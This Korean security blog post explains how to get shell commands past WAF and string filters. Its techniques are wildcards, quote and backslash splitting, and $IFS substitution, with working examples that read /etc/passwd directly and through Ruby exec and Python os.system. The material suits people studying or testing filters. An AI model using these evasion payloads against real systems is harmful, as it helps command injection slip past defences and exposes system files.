Evasion technique using Wildcards, Quotation marks and backslash, $IFS(WAF, 방어로직 우회)

WildCards?

Wildcard는 OS에서 파일에 대해 다중처리를 위해 사용되는 기호입니다. 보편적으로 많이 사용하는건 * ? 등이 있고 덕분에 번거로운 작업을 한번에 처리할 수 있게 되죠. 뭐 대충 이런 경우이죠.

#> rm *.txt
=> .txt 로 끝나는 모든 파일을 삭제하라.

정리해보면 이정도 문자들이 있습니다.

.(dot)
 => 현재 위치, grep 에선 *과 동일
?(question mark)
 => 내용을 모를 때
*(asterisk)
 => 포함하는 모든
\(backslash)
-(dash)
 => 해당 범위 (1-5)
[](square brackets)
 => 괄호 내 문자 식별
[!](not)
 => 부정 ㅋㅋㅋ

와일드 카드를 활용하면 완벽하게 기억이 나지 않는 path, command에 대해서도

/???/?at

echo /*/*ss*

http://tldp.org/LDP/GNU-Linux-Tools-Summary/html/x11655.htm

Evasion 1 - Wildcards

Wildcard를 이용하면 문자를 적게 사용하면서 명령어를 쓸 수 있습니다. 이것을 이용해서 문자열 기반의 필터링 규칙을 우회할 수 있게 됩니다.

원본 구문

#> cat /etc/passwd

Evasion

#> cat /???/??ss??
#> cat /???/pass*

모두 passwd 파일을 불러올 수 있습니다.

Output

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
[....]

Evasion 2 - Quotation marks and backslash

quot(“ ‘) 문자와 backslash는 문자열을 표기합니다. 커맨드라인에서도 동일하게 문자열을 표기하는데, quot, slash가 있던 없던 명령으로 보기 때문에 문자열을 자르는 용도로도 사용이 가능합니다. 아래 명령을 보면..

#> whoami
#> who'a'mi
#> who"a"mi

모두 사용자 계정이 확인됩니다. 위에 wildcard와 조합을 해보면.. 이런 패턴이 가능하겠지요.

#> cat /???/pas's'??
#> cat /???/pas"s"??
#> cat /e*c/pa\s\swd

Evasion 3 - $IFS(입력필드 구분자)

공백 사용 불가능한 상황에선 내부변수나 특수문자 ,< 등을 이용해서 우회가 가능합니다. 여기서 $IFS는 입력필드 구분자로 기본적으로 따로 쓰이면 공백과 같은 의미를 지니며 특정 값에 대해 공백으로 치환해줄 수 있습니다.

#> IFS=,;`cat<<<cat,/etc/passwd`
#> cat$IFS/etc/passwd
#> cat${IFS}/etc/passwd
#> cat</etc/passwd
#> {cat,/etc/passwd}

언어에서 사용하는 부분도 똑같이 적용될까?

모든 함수가 공통적이진 않겠지만, 기본적으로 os 관련 함수는 동일하게 wildcard 처리를 진행합니다.

Ruby exec

irb(main):001:0> exec("cat /???/??ss??")
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

Python os.system

>>> os.system("cat /???/??ss??")
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

추가적인 포인트?

쉘에선 wildcard와 같이 여러가지 사용할 수 있는 트릭들이 존재합니다. 잘 활용해보면 또다른 패턴을 만들 수 있을 것 같네요 :)

$1, $2, $3, … are the positional parameters. “$@” is an array-like construct of all positional parameters, {$1, $2, $3 …}. “$*” is the IFS expansion of all positional parameters, $1 $2 $3 …. $# is the number of positional parameters. $- current options set for the shell. $$ pid of the current shell (not subshell). $_ most recent parameter (or the abs path of the command to start the current shell immediately after startup). $IFS is the (input) field separator. $? is the most recent foreground pipeline exit status. $! is the PID of the most recent background command. $0 is the name of the shell or shell script. (https://stackoverflow.com/questions/5163144/what-are-the-special-dollar-sign-shell-variables )